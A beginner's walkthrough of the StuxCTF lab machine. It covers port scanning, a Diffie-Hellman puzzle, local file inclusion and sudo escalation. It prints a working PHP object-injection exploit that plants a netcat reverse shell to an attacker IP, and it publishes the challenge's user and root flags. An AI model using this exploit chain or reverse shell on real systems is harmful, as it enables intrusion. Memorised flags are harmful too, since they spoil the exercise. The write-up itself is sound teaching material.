Skip to main content
Background Image

StuxCTF

·1220 words·6 mins
Table of Contents

StuxCTF - Complete Beginner’s Writeup
#

Introduction
#

Welcome to this step-by-step walkthrough of the StuxCTF challenge! This writeup is designed for beginners who want to understand each technique used. We’ll cover:

  • Network reconnaissance with Nmap
  • Web enumeration and directory discovery
  • Diffie-Hellman cryptography
  • Local File Inclusion (LFI) vulnerabilities
  • PHP Object Injection attacks
  • Privilege escalation

Let’s dive in!

Initial Reconnaissance
#

Step 1: Port Scanning with Nmap
#

First, we need to discover what services are running on our target machine. We use Nmap (Network Mapper) for this:

sudo nmap -sCV -T4 10.10.158.14

What this command does:

  • -sC: Run default scripts for additional information
  • -V: Version detection to identify service versions
  • -T4: Timing template (faster scanning)

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Key findings:

  • Port 22: SSH service (for remote login)
  • Port 80: Web server running Apache
  • The scan also revealed a robots.txt file with a disallowed entry: /StuxCTF/

Web Application Analysis
#

Step 2: Examining robots.txt
#

The robots.txt file often contains interesting information that developers don’t want search engines to index:

curl http://10.10.158.14/robots.txt

Output:

# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow: 
Disallow: /StuxCTF/

Important observations:

  • There’s a hidden directory /StuxCTF/
  • A comment mentions “Diffie-Hellman” (a cryptographic algorithm)

Step 3: Investigating the Main Website
#

Let’s look at the source code of the main page:

curl http://10.10.158.14/

In the HTML source, we find this hidden comment:

<!-- The secret directory is...
p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
g: 7;
a: 330;
b: 450;
g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
-->

This looks like Diffie-Hellman key exchange parameters!

Cryptography Challenge
#

Step 4: Understanding Diffie-Hellman Key Exchange
#

What is Diffie-Hellman? It’s a method for two parties to establish a shared secret over an insecure channel. The basic concept involves:

  • p: A large prime number
  • g: A generator (base)
  • a and b: Private keys
  • g^c: A public key

The goal: Calculate the shared secret that represents our hidden directory.

Step 5: Solving the Cryptographic Puzzle
#

I created a Python script to calculate the shared secret:

#!/usr/bin/python3

# Given values from the HTML comment
p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 7
a = 330
b = 450
gc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

# Calculate the shared secret
gca = (gc**a) % p
gcab = (gca**b) % p

# The first 128 characters give us our directory name
print(str(gcab)[:128])

Result:

47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055

This long number is our secret directory!

Web Exploitation
#

Step 6: Accessing the Hidden Directory
#

Now we can access the hidden directory using our calculated path:

curl http://10.10.158.14/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/

Key findings in the response:

  • A hint in the HTML: <!-- hint: /?file= -->
  • This suggests a Local File Inclusion (LFI) vulnerability

Step 7: Discovering the LFI Vulnerability
#

What is LFI? Local File Inclusion allows an attacker to include files from the server’s filesystem, potentially exposing sensitive information or enabling code execution.

When we try to include index.php:

curl "http://10.10.158.14/[SECRET_DIRECTORY]/?file=index.php"

We get a long hexadecimal string. After decoding this through multiple steps (hex decode → reverse → base64 decode), we discover the PHP source code!

Step 8: Analyzing the Vulnerable PHP Code
#

The decoded PHP reveals:

<?php
error_reporting(0);
class file {
    public $file = "dump.txt";
    public $data = "dump test";
    function __destruct(){
        file_put_contents($this->file, $this->data);
    }
}

$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
    echo "File no Exist!";
}

if($file_name=="index.php"){
    $content = file_get_contents($file_name);
    $tags = array("<?php", "?>");
    echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}
unserialize(file_get_contents($file_name));
?>

Critical vulnerability identified:

  • The code calls unserialize() on user-controlled input
  • There’s a file class with a destructor that writes data to a file
  • This is a perfect setup for PHP Object Injection!

Exploitation
#

Step 9: Understanding PHP Object Injection
#

What is PHP Object Injection? When unserialize() processes malicious data, it can create objects that execute code when they’re destroyed (via __destruct() methods).

Our attack plan:

  1. Create a malicious serialized object
  2. Host it on our attack machine
  3. Make the vulnerable server download and unserialize it
  4. The destructor will write a PHP webshell to the server

Step 10: Creating the Malicious Payload
#

Create exploit.php:

<?php
class file
{
    public $file = 'shell.php'; 
    public $data = '<?php shell_exec("nc -e /bin/bash 10.8.181.85 1234"); ?>';
}

echo serialize(new file);
?>

Generate the payload:

php exploit.php > payload.txt

What this creates:

  • A serialized object that, when unserialized, will create a shell.php file
  • The file contains a reverse shell command using netcat

Step 11: Hosting the Payload
#

Start a simple HTTP server to host our malicious payload:

python3 -m http.server 8000

Step 12: Triggering the Vulnerability
#

Visit this URL to make the server download and execute our payload:

http://10.10.158.14/[SECRET_DIRECTORY]/?file=http://10.8.181.85:8000/payload.txt

What happens:

  1. Server downloads our payload.txt
  2. unserialize() creates our malicious file object
  3. When the script ends, __destruct() runs
  4. Our reverse shell code gets written to shell.php

Step 13: Getting a Reverse Shell
#

Start a netcat listener on your machine:

nc -lvnp 1234

Then trigger the shell by visiting:

http://10.10.158.14/[SECRET_DIRECTORY]/shell.php

Success! We now have a shell as the www-data user.

Post-Exploitation
#

Step 14: Initial Access and User Flag
#

Once we have our shell, let’s explore:

# Upgrade to a better shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Check current user
whoami
# Output: www-data

# Look for users
ls /home
# Output: grecia

# Get user flag
cat /home/grecia/user.txt
# Output: 0b6044b7807dd100b9e30f1bd09db53f

Step 15: Privilege Escalation
#

Let’s check what sudo privileges our current user has:

sudo -l

Output:

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL

This is jackpot! The www-data user can run ANY command as root without a password.

Step 16: Getting Root Access
#

# Switch to root
sudo su

# Get root flag
cat /root/root.txt
# Output: 0028454003b42601548df551b738976c

Summary
#

We successfully compromised this machine through:

  1. Reconnaissance: Used Nmap to discover open services
  2. Cryptography: Solved a Diffie-Hellman challenge to find a hidden directory
  3. Web Exploitation: Discovered and exploited an LFI vulnerability
  4. Object Injection: Used PHP Object Injection to achieve code execution
  5. Privilege Escalation: Leveraged overly permissive sudo configuration

Key Learning Points
#

For Beginners:
#

Reconnaissance is crucial: Always start by mapping out the target’s attack surface.

Read the source: Web applications often leak information in HTML comments and configuration files.

Understand the code: Take time to analyze vulnerable code to understand exactly how exploits work.

Chain vulnerabilities: Multiple small vulnerabilities can often be combined for greater impact.

Security Lessons:
#

Never trust user input: The unserialize() function should never process untrusted data.

Principle of least privilege: The www-data user shouldn’t have unlimited sudo access.

Input validation: All user-supplied data should be properly validated and sanitized.

Defense in depth: Multiple security layers can prevent a single vulnerability from compromising the entire system.

Tools Used
#

  • Nmap: Network reconnaissance
  • curl: Web requests and response analysis
  • Python: Cryptographic calculations and payload hosting
  • PHP: Creating malicious serialized objects
  • Netcat: Reverse shell listener and connection
  • CyberChef: Data decoding and analysis

Conclusion
#

This CTF challenge demonstrates how attackers can chain together multiple techniques to achieve full system compromise. From solving cryptographic puzzles to exploiting web vulnerabilities and escalating privileges, each step builds upon the previous one.

The key takeaway for defenders is that security is only as strong as the weakest link. Even with cryptographic protections hiding the vulnerable directory, poor input validation and excessive privileges led to complete system compromise.

Flags Captured:

  • User Flag: 0b6044b7807dd100b9e30f1bd09db53f
  • Root Flag: 0028454003b42601548df551b738976c